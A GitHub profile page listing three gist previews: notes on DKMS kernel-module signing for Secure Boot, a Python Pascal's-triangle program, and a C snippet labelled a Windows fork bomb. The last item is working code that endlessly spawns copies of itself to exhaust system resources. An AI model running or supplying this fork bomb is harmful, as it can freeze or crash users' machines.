Skip to content

Instantly share code, notes, and snippets.

View MatiasFS99's full-sized avatar

Matías Serantes MatiasFS99

  • Entre Rios, Argentina
View GitHub Profile
@sbueringer
sbueringer / dkms-module-signing.md
Created October 16, 2019 04:22 — forked from dojoe/dkms-module-signing.md
Make DKMS sign kernel modules on installation, with full script support and somewhat distro independent

On systems with UEFI Secure Boot enabled, recent Linux kernels will only load signed modules, so it's about time DKMS grew the capability to sign modules it's building.

These scripts are extended and scriptified variants of https://computerlinguist.org/make-dkms-sign-kernel-modules-for-secure-boot-on-ubuntu-1604.html and https://askubuntu.com/questions/760671/could-not-load-vboxdrv-after-upgrade-to-ubuntu-16-04-and-i-want-to-keep-secur/768310#768310 and add some error checking, a passphrase around your signing key, and support for compressed modules.

dkms-sign-module is a wrapper for the more generic sign-modules which can also be used outside of DKMS.

Installation

  1. Create a directory under /root, say /root/module-signing, put the three scripts below in there and make them executable: chmod u+x one-time-setup sign-modules dkms-sign-module
@gchacaltana
gchacaltana / Triangle_Pascal.py
Created June 28, 2017 05:53
Programa que genera el triangulo de pascal en python.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Programa que imprime en pantalla el triangulo de pascal"""
__author__ = 'Gonzalo Chacaltana Buleje'
#importamos el paquete sys para obtener los valores argv enviados por consola.
import sys
def triangle_pascal(rows):
"""Funcion que recibe como parametro el número de filas del triángulo"""
@kh0p
kh0p / win-fork.c
Created September 8, 2013 17:51
small fork bomb for windows.
#include <windows.h>
int main(int argc,char **argv) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
while (1) {
SetConsoleCtrlHandler(0, 1);
CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
}